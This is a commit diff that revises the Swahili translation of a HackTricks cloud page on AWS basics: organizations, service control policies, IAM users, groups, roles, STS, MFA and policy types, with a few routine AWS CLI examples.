mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -12,37 +12,37 @@ Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina mama kwa akaunti zote
|
||||
|
||||
Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya uhamasishaji.
|
||||
|
||||
Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia kuhusu akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
|
||||
Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama.
|
||||
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ni akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
- **Akaunti ya usimamizi (akaunti ya mzizi)** ndiyo akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo:
|
||||
|
||||
- Kuunda akaunti katika shirika
|
||||
- Kualika akaunti nyingine zilizopo katika shirika
|
||||
- Kuondoa akaunti kutoka shirika
|
||||
- Kusimamia mialiko
|
||||
- Kudhibiti mialiko
|
||||
- Kutumia sera kwa entiti (mizizi, OUs, au akaunti) ndani ya shirika
|
||||
- Kuwezesha uunganisho na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
|
||||
- Inawezekana kuingia kama mtumiaji wa mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika.
|
||||
- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika.
|
||||
- Inawezekana kuingia kama mtumiaji mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika.
|
||||
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa ada zote zinazokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipia** na inawajibika kulipa malipo yote yanayokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika.
|
||||
|
||||
- **Akaunti za wanachama** zinaunda akaunti zote zilizobaki katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
|
||||
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hazitakuwa na uwezo wa kusimamia bili (lakini zinaweza kupewa ufikiaji wa hiyo).
|
||||
- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee.
|
||||
- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hazitakuwa na uwezo wa kudhibiti bili (lakini zinaweza kupewa ufikiaji wa hiyo).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
### **Vitengo vya Shirika**
|
||||
|
||||
Akaunti zinaweza kuunganishwa katika **Vitengo vya Shirika (OU)**. Kwa njia hii, unaweza kuunda **sera** za Vitengo vya Shirika ambazo zita **wekwa kwenye akaunti zote za watoto**. Kumbuka kwamba OU inaweza kuwa na OUs zingine kama watoto.
|
||||
Akaunti zinaweza kuunganishwa katika **Vitengo vya Shirika (OU)**. Kwa njia hii, unaweza kuunda **sera** za Kitengo cha Shirika ambazo zitakuwa **zinatumika kwa akaunti zote za watoto**. Kumbuka kwamba OU inaweza kuwa na OUs zingine kama watoto.
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP kwa mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa vitu katika akaunti za wanachama**.
|
||||
**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP na mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa viumbe katika akaunti za wanachama**.
|
||||
|
||||
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya jambo fulani. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
|
||||
Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya kitu. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\
|
||||
Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka SCPs (akaunti ya mkuu haiwezi kuzuiwa).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -85,14 +85,14 @@ Kumbuka kwamba kuna sehemu 4 katika AWS lakini njia 3 tu za kuziita:
|
||||
IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS.
|
||||
|
||||
- **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho.
|
||||
- **Idhini** - Inabaini ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
|
||||
- **Idhini** - Inabainisha ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa.
|
||||
- **Udhibiti wa Ufikiaji** - Njia na mchakato wa jinsi ufikiaji unavyotolewa kwa rasilimali salama.
|
||||
|
||||
IAM inaweza kufafanuliwa kwa uwezo wake wa kusimamia, kudhibiti na kuongoza mitambo ya uthibitishaji, idhini na udhibiti wa ufikiaji wa utambulisho kwa rasilimali zako ndani ya akaunti yako ya AWS.
|
||||
|
||||
### [Mtumiaji wa mizizi ya akaunti ya AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma zote** za AWS na rasilimali katika akaunti. Huu ni mtumiaji wa _**mizizi ya akaunti ya AWS**_ na unafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**.
|
||||
Unapounda akaunti ya Amazon Web Services (AWS) kwa mara ya kwanza, unaanza na utambulisho mmoja wa kuingia ambao una **ufikiaji kamili kwa huduma na rasilimali zote** za AWS katika akaunti hiyo. Huu ni mtumiaji wa _**mizizi ya akaunti ya AWS**_ na unafikiwa kwa kuingia kwa kutumia **anwani ya barua pepe na nenosiri ulilotumia kuunda akaunti**.
|
||||
|
||||
Kumbuka kwamba mtumiaji mpya wa **admin** atakuwa na **idhini ndogo kuliko mtumiaji wa mizizi**.
|
||||
|
||||
@@ -100,11 +100,11 @@ Kutoka kwa mtazamo wa usalama, inapendekezwa kuunda watumiaji wengine na kuepuka
|
||||
|
||||
### [Watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Mtumiaji wa IAM ni kiumbe unachounda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na hati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
Mtumiaji wa IAM ni kiumbe ambacho unaunda katika AWS ili **wakilisha mtu au programu** inayotumia hiyo ili **kuingiliana na AWS**. Mtumiaji katika AWS unajumuisha jina na hati (nenosiri na funguo za ufikiaji hadi mbili).
|
||||
|
||||
Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatanisha sera moja kwa moja** kwa mtumiaji.
|
||||
Unapounda mtumiaji wa IAM, unampa **idhini** kwa kumfanya kuwa **mwanachama wa kundi la watumiaji** ambalo lina sera za idhini zinazofaa (inapendekezwa), au kwa **kuambatisha sera moja kwa moja** kwa mtumiaji.
|
||||
|
||||
Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Token za API za watumiaji walioanzisha MFA hazilindwi na MFA. Ikiwa unataka **kudhibiti ufikiaji wa funguo za API za watumiaji kwa kutumia MFA** unahitaji kuashiria katika sera kwamba ili kutekeleza vitendo fulani MFA inahitaji kuwepo (mfano [**hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
@@ -112,64 +112,64 @@ Watumiaji wanaweza kuwa na **MFA iliyoanzishwa kuingia** kupitia console. Tokeni
|
||||
- **Kitambulisho cha funguo za siri za ufikiaji**: herufi 40 za bahati nasibu za kubwa na ndogo: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Haiwezekani kurejesha vitambulisho vya funguo za siri vilivyopotea).
|
||||
|
||||
Wakati wowote unahitaji **kubadilisha Funguo za Ufikiaji** huu ndio mchakato unapaswa kufuata:\
|
||||
&#xNAN;_Cunda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ile ya awali kuwa isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
|
||||
_Unda funguo mpya za ufikiaji -> Tumia funguo mpya kwenye mfumo/programu -> weka ya awali kama isiyo hai -> Jaribu na thibitisha funguo mpya za ufikiaji zinafanya kazi -> Futa funguo za zamani za ufikiaji_
|
||||
|
||||
### MFA - Uthibitishaji wa Vigezo Vingi
|
||||
|
||||
Inatumika ku **unda kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama vile nenosiri, hivyo kuunda kiwango cha uthibitishaji wa vigezo vingi.\
|
||||
Unaweza kutumia **programu ya bure ya virtual au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS.
|
||||
Inatumika kuunda **kipengele cha ziada kwa uthibitishaji** pamoja na mbinu zako zilizopo, kama vile nenosiri, hivyo, kuunda kiwango cha uthibitishaji wa vigezo vingi.\
|
||||
Unaweza kutumia **programu ya bure ya mtandaoni au kifaa halisi**. Unaweza kutumia programu kama uthibitishaji wa google bure kuanzisha MFA katika AWS.
|
||||
|
||||
Sera zenye masharti ya MFA zinaweza kuambatanishwa na yafuatayo:
|
||||
Sera zenye masharti ya MFA zinaweza kuambatishwa kwa yafuatayo:
|
||||
|
||||
- Mtumiaji wa IAM au kundi
|
||||
- Rasilimali kama vile bakuli la Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
|
||||
- Rasilimali kama vile ndoo ya Amazon S3, foleni ya Amazon SQS, au mada ya Amazon SNS
|
||||
- Sera ya kuaminika ya jukumu la IAM ambalo linaweza kuchukuliwa na mtumiaji
|
||||
|
||||
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hii itakupa tokeni yenye taarifa kuhusu MFA.\
|
||||
Kumbuka kwamba **`AssumeRole` hati za kuingia hazina taarifa hii**.
|
||||
Ikiwa unataka **kufikia kupitia CLI** rasilimali ambayo **inaangalia MFA** unahitaji kuita **`GetSessionToken`**. Hiyo itakupa token yenye taarifa kuhusu MFA.\
|
||||
Kumbuka kwamba **`AssumeRole` hati hazina taarifa hii**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
Kama [**ilivyosemwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**.
|
||||
Kama [**ilivyoelezwa hapa**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), kuna kesi nyingi tofauti ambapo **MFA haiwezi kutumika**.
|
||||
|
||||
### [Makundi ya watumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Kundi la [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na makundi hayawezi kuwa sehemu ya kundi**.
|
||||
Kikundi cha [mtumiaji wa IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ni njia ya **kuunganisha sera kwa watumiaji wengi** kwa wakati mmoja, ambayo inaweza kurahisisha usimamizi wa ruhusa za watumiaji hao. **Majukumu na vikundi haviwezi kuwa sehemu ya kundi**.
|
||||
|
||||
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kundi la mtumiaji** ili watumiaji wote katika kundi la mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua kundi la mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu makundi yanahusiana na ruhusa, si uthibitishaji, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
Unaweza kuunganisha **sera inayotegemea utambulisho kwa kikundi cha mtumiaji** ili watumiaji wote katika kikundi cha mtumiaji **wapate ruhusa za sera**. Huwezi **kutambua** kikundi cha **mtumiaji** kama **`Principal`** katika **sera** (kama sera inayotegemea rasilimali) kwa sababu vikundi vinahusiana na ruhusa, si uthibitisho, na wakuu ni entiti za IAM zilizothibitishwa.
|
||||
|
||||
Hapa kuna sifa muhimu za makundi ya watumiaji:
|
||||
Hapa kuna sifa muhimu za vikundi vya watumiaji:
|
||||
|
||||
- Kundi la mtumiaji **linaweza kuwa na watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya makundi mengi**.
|
||||
- **Makundi ya watumiaji hayawezi kuwekwa ndani**; yanaweza kuwa na watumiaji tu, si makundi mengine ya watumiaji.
|
||||
- Hakuna **kundi la mtumiaji la default ambalo linajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kundi la mtumiaji kama hilo, lazima ulunde na kupewa kila mtumiaji mpya.
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama vile idadi ya makundi, na idadi ya makundi ambayo mtumiaji anaweza kuwa mwanachama wake, zimepangwa. Kwa maelezo zaidi, angalia [IAM na AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
- Kikundi cha **mtumiaji** kinaweza **kuhifadhi watumiaji wengi**, na **mtumiaji** anaweza **kuwa sehemu ya vikundi vingi**.
|
||||
- **Vikundi vya watumiaji haviwezi kuingizwa**; vinaweza kuhifadhi watumiaji tu, si vikundi vingine vya watumiaji.
|
||||
- Hakuna **kikundi cha mtumiaji cha chaguo-msingi ambacho kinajumuisha watumiaji wote katika akaunti ya AWS**. Ikiwa unataka kuwa na kikundi cha mtumiaji kama hicho, lazima uunde na kupewa kila mtumiaji mpya.
|
||||
- Idadi na ukubwa wa rasilimali za IAM katika akaunti ya AWS, kama idadi ya vikundi, na idadi ya vikundi ambavyo mtumiaji anaweza kuwa mwanachama, zimepangwa. Kwa maelezo zaidi, angalia [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [Majukumu ya IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. **Mtumiaji wa IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayesaini kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
**Jukumu la IAM** ni **kama** **mtumiaji**, kwa kuwa ni **utambulisho wenye sera za ruhusa zinazotaja kile** kinaweza na hakiwezi kufanya katika AWS. Hata hivyo, jukumu **halina akreditif yoyote** (nenosiri au funguo za ufikiaji) zinazohusishwa nalo. Badala ya kuwa na uhusiano wa kipekee na mtu mmoja, jukumu linakusudia kuwa **linaweza kuchukuliwa na yeyote anayeihitaji (na kuwa na ruhusa za kutosha)**. Mtumiaji wa **IAM anaweza kuchukua jukumu ili kwa muda** kuchukua ruhusa tofauti kwa kazi maalum. Jukumu linaweza **kupewa** [**mtumiaji wa shirikisho**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) anayeingia kwa kutumia mtoa huduma wa utambulisho wa nje badala ya IAM.
|
||||
|
||||
Jukumu la IAM linajumuisha **aina mbili za sera**: Sera ya **kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na sera ya **ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini inaweza kufikiwa**.
|
||||
Jukumu la IAM linajumuisha **aina mbili za sera**: **sera ya kuamini**, ambayo haiwezi kuwa tupu, inayoeleza **nani anaweza kuchukua** jukumu, na **sera ya ruhusa**, ambayo haiwezi kuwa tupu, inayoeleza **nini kinaweza kufikiwa**.
|
||||
|
||||
#### Huduma ya Usalama ya Tokeni ya AWS (STS)
|
||||
#### AWS Security Token Service (STS)
|
||||
|
||||
Huduma ya Usalama ya Tokeni ya AWS (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
AWS Security Token Service (STS) ni huduma ya wavuti inayorahisisha **utoaji wa akreditif za muda mfupi, zenye ruhusa zilizopunguzwa**. Imeundwa mahsusi kwa:
|
||||
|
||||
### [Akreditif za muda mfupi katika IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
**Akreditif za muda mfupi zinatumika hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
|
||||
**Akreditif za muda mfupi hutumiwa hasa na majukumu ya IAM**, lakini pia kuna matumizi mengine. Unaweza kuomba akreditif za muda mfupi ambazo zina seti ya ruhusa zilizopunguzwa zaidi kuliko mtumiaji wako wa kawaida wa IAM. Hii **inaepuka** wewe **kufanya kazi ambazo haziruhusiwi** na akreditif zilizopunguzwa zaidi. Faida ya akreditif za muda mfupi ni kwamba zinakoma moja kwa moja baada ya kipindi fulani. Una udhibiti juu ya muda ambao akreditif hizo ni halali.
|
||||
|
||||
### Sera
|
||||
### Policies
|
||||
|
||||
#### Ruhusa za Sera
|
||||
#### Policy Permissions
|
||||
|
||||
Zinatumiwa kupewa ruhusa. Kuna aina 2:
|
||||
Zinatumiwa kutoa ruhusa. Kuna aina 2:
|
||||
|
||||
- Sera zinazodhibitiwa na AWS (zilizopangwa na AWS)
|
||||
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako.
|
||||
- Sera Zinazosimamiwa na Wateja: Zimepangwa na wewe. Unaweza kuunda sera kulingana na sera zinazodhibitiwa na AWS (ukibadilisha moja yao na kuunda yako mwenyewe), ukitumia jenereta ya sera (maoni ya GUI yanayokusaidia kutoa na kukataa ruhusa) au kuandika yako mwenyewe.
|
||||
|
||||
Kwa **default ufikiaji** unakataliwa, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambayo inaruhusiwa kwa default).
|
||||
Kwa **default access** ni **imekataliwa**, ufikiaji utawekwa ikiwa jukumu maalum limeainishwa.\
|
||||
Ikiwa **"Deny" moja ipo, itazidi "Allow"**, isipokuwa kwa maombi yanayotumia akreditif za usalama za mizizi ya akaunti ya AWS (ambazo zinaruhusiwa kwa chaguo-msingi).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -198,13 +198,13 @@ The [specific fields that can be used for conditions per service are documented
|
||||
#### Inline Policies
|
||||
|
||||
Aina hii ya sera ni **zinazopewa moja kwa moja** kwa mtumiaji, kundi au jukumu. Hivyo, hazionekani katika orodha ya Sera kama wengine wanaweza kuzitumia.\
|
||||
Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho inatumika. Kwa mfano, unataka kuhakikisha kwamba ruhusa katika sera hazitolewi kwa bahati kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera haiwezi kuunganishwa kwa bahati na kitambulisho kibaya. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizojumuishwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo cha msingi.
|
||||
Sera za ndani ni muhimu ikiwa unataka **kuhifadhi uhusiano mkali wa moja kwa moja kati ya sera na kitambulisho** ambacho inatumika. Kwa mfano, unataka kuhakikisha kwamba ruhusa katika sera hazitolewi kwa bahati mbaya kwa kitambulisho kingine isipokuwa kile ambacho zimekusudiwa. Unapokuwa unatumia sera ya ndani, ruhusa katika sera haiwezi kuunganishwa kwa bahati mbaya na kitambulisho kisichofaa. Zaidi ya hayo, unapokuwa unatumia AWS Management Console kufuta kitambulisho hicho, sera zilizojumuishwa katika kitambulisho pia zitatolewa. Hiyo ni kwa sababu ni sehemu ya chombo kikuu.
|
||||
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazoziunga mkono**.
|
||||
Hizi ni **sera** ambazo zinaweza kufafanuliwa katika **rasilimali**. **Si rasilimali zote za AWS zinazozisapoti**.
|
||||
|
||||
Ikiwa chombo hakina kukataa waziwazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa.
|
||||
Ikiwa chombo hakina kukataa wazi juu yao, na sera ya rasilimali inawapa ufikiaji, basi wanaruhusiwa.
|
||||
|
||||
### IAM Boundaries
|
||||
|
||||
@@ -216,9 +216,9 @@ Pazia ni sera tu iliyounganishwa na mtumiaji ambayo **inaonyesha kiwango cha juu
|
||||
|
||||
### Session Policies
|
||||
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **pazia la IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoonyeshwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
Sera ya kikao ni **sera inayowekwa wakati jukumu linachukuliwa** kwa namna fulani. Hii itakuwa kama **pazia la IAM kwa kikao hicho**: Hii inamaanisha kwamba sera ya kikao haitoi ruhusa bali **inaweka vizuizi kwa zile zilizoainishwa katika sera** (ikiwa ruhusa za juu ni zile ambazo jukumu lina).
|
||||
|
||||
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye ruhusa nyingi, anaweza kuzuia ruhusa kuwa zile tu zilizoonyeshwa katika sera ya kikao endapo kikao kitakumbwa na hatari.
|
||||
Hii ni muhimu kwa **hatua za usalama**: Wakati msimamizi anapokuwa anachukua jukumu lenye ruhusa nyingi, anaweza kuzuia ruhusa kuwa zile tu zilizoainishwa katika sera ya kikao endapo kikao kitakumbwa na hatari.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -226,28 +226,28 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [majukumu yaliyodhaniwa ya cognito yasiyo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **vithibitisho vya kikao vyenye sera ya kikao** inayopunguza huduma ambazo kikao kinaweza kufikia [**kwenda kwenye orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Kumbuka kwamba kwa kawaida **AWS inaweza kuongeza sera za kikao kwa vikao** ambavyo vitaundwa kwa sababu za tatu. Kwa mfano, katika [roles za cognito zisizo na uthibitisho](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kwa kawaida (kwa kutumia uthibitisho ulioimarishwa), AWS itaunda **akiba za kikao zenye sera ya kikao** ambayo inazuia huduma ambazo kikao kinaweza kufikia [**katika orodha ifuatayo**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Hivyo, ikiwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
|
||||
Hivyo, ikiwa kwa wakati fulani unakutana na kosa "... kwa sababu hakuna sera ya kikao inayoruhusu ...", na jukumu lina ufikiaji wa kutekeleza kitendo hicho, ni kwa sababu **kuna sera ya kikao inayozuia**.
|
||||
|
||||
### Ushirikiano wa Utambulisho
|
||||
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni nje** ya AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akauti za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Ushirikiano wa utambulisho **unawaruhusu watumiaji kutoka kwa watoa huduma za utambulisho ambao ni wa nje** kwa AWS kufikia rasilimali za AWS kwa usalama bila ya kutoa akiba za mtumiaji wa AWS kutoka kwa akaunti halali ya IAM.\
|
||||
Mfano wa mtoa huduma wa utambulisho unaweza kuwa **Microsoft Active Directory** yako mwenyewe (kupitia **SAML**) au huduma za **OpenID** (kama **Google**). Ufikiaji wa ushirikiano utaweza kuwapa watumiaji ndani yake ufikiaji wa AWS.
|
